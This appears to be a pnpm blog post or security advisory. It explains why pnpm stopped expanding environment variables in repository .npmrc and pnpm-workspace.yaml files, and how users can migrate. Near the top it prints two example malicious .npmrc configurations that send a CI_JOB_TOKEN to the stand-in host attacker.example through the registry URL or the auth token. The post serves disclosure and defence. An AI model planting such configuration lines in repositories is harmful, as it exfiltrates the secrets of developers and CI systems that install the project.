releases.shpreview

Why pnpm no longer expands environment variables in a repository's .npmrc

pnpm used to expand ${ENV_VAR} placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment. As of v10.34.2 and v11.5.3, pnpm stops expanding environment variables in repository-controlled registry and credential settings.

This was a security fix (GHSA-3qhv-2rgh-x77r), and it is a breaking change for some setups. This post explains the attack, what exactly changed, and how to migrate.

The attack

A .npmrc committed to a repository is attacker-controlled the moment you clone the repo. Before this change, pnpm would expand environment variables in that file when resolving dependencies — before any lifecycle script ran, so even pnpm's script-blocking protections didn't help.

Consider a repository that ships this .npmrc:

<span class="token-line" style="color:#393A34"><span class="token key attr-name" style="color:#00a4db">registry</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">https://attacker.example/${CI_JOB_TOKEN}/</span><br></span>

or this one:

<span class="token-line" style="color:#393A34"><span class="token key attr-name" style="color:#00a4db">registry</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">https://attacker.example/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">//attacker.example/:_authToken</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">${CI_JOB_TOKEN}</span><br></span>

When you ran pnpm install with CI_JOB_TOKEN (or any other guessable secret) present in your environment, pnpm expanded the placeholder and sent the secret straight to the attacker — either in the request URL (https://attacker.example/<secret>/...) or in an Authorization: Bearer <secret> header. The same trick worked through registry URLs in pnpm-workspace.yaml.

No install scripts, no postinstall — just resolving dependencies was enough to exfiltrate a token.

What changed

pnpm now treats environment expansion as trust-aware. Environment variables are no longer expanded when the value comes from a repository-controlled file:

  • In the project and workspace .npmrc: registry, @scope:registry, proxy URLs, URL-scoped keys (//host/…), and credential values (_authToken, _auth, _password, username, tokenHelper, cert, key).
  • In pnpm-workspace.yaml: registry URLs (registry, and the values of registries / namedRegistries).

A setting that contains a ${...} placeholder in one of these positions is ignored, and pnpm prints a warning explaining how to migrate it.

Environment variables are still expanded in config that doesn't come from the repository:

  • your user-level ~/.npmrc (and the file pointed to by npmrcAuthFile);
  • the global configuration;
  • command-line options;
  • environment config.

That boundary is the whole point: a token belongs in a location you control, not one that ships with the code you're about to install. We also hardened a related edge case where a repository .npmrc could redirect which file pnpm treats as trusted user/global config (via userconfig, globalconfig, or prefix); those destinations are now resolved only from trusted sources.

How to migrate

If your authentication broke after upgrading, move the token out of the committed .npmrc and into a trusted location.

Write it to your user/global config (this is what pnpm's own CI does):

<span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">pnpm</span><span class="token plain"> config </span><span class="token builtin class-name">set</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"//registry.npmjs.org/:_authToken"</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$NPM_TOKEN</span><span class="token string" style="color:#e3116c">"</span><br></span>

pnpm config set writes to your user/global config by default, never to the project .npmrc, so the token stays out of the repository.

Or keep the ${NPM_TOKEN} line in your user-level ~/.npmrc instead of the repository — environment variables are still expanded there.

In GitHub Actions, actions/setup-node with the registry-url input already writes a user-level .npmrc, so authenticating through NODE_AUTH_TOKEN keeps working with no further changes:

<span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">uses</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> actions/setup</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">node@v4</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token key atrule" style="color:#00a4db">with</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">node-version</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">24</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">registry-url</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> https</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">//registry.npmjs.org</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">run</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> pnpm install</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token key atrule" style="color:#00a4db">env</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token key atrule" style="color:#00a4db">NODE_AUTH_TOKEN</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> $</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> secrets.NPM_TOKEN </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">}</span><br></span>

On other CI systems where editing every pipeline is impractical, you can declare the repository's own .npmrc trusted by setting one environment variable in the CI environment:

<span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># v11:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">PNPM_CONFIG_NPMRC_AUTH_FILE</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">.npmrc</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># v10 (or as a fallback):</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">NPM_CONFIG_USERCONFIG</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">.npmrc</span><br></span>

Because that trust declaration comes from the environment — not from the repository — a malicious repo can't set it for you. Only use it in environments that build trusted repositories: it disables the protection for that checkout entirely.

Dynamic registry URLs

The same rule applies to registry and proxy URLs. If you used an environment variable to template a registry URL, move it to a trusted source (pnpm config set, your user ~/.npmrc, a CLI option, or environment config). If the URL isn't secret, you can simply write the resolved value directly in the project .npmrc — only ${...} placeholders are ignored, literal URLs are fine.

Sorry about the breakage

Shipping a breaking change in a patch release is not something we do lightly, and we know it disrupted some CI pipelines. But this was a reported vulnerability with a working exploit, and leaving it open — or waiting for the next major — would have meant knowingly shipping a way for any repository to read your secrets. Backporting the fix to v10 as a patch was the only way existing users would actually receive it.

For the full migration guide, see the authentication settings documentation.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:` <a href="##link##" class="native-banner" style="background: ##backgroundColor##" rel="sponsored noopener" target="\_blank" title="##company## — ##tagline##"> <img class="native-img" width="125" src="##logo##" /> <div class="native-main"> <div class="native-details" style=" color: ##textColor##; border-left: solid 1px ##textColor##; "> <span class="native-desc">##description##</span> </div> <span class="native-cta" style=" color: ##ctaTextColor##; background-color: ##ctaBackgroundColor##; ">##callToAction##</span> </div> </a> `})

Fetched June 12, 2026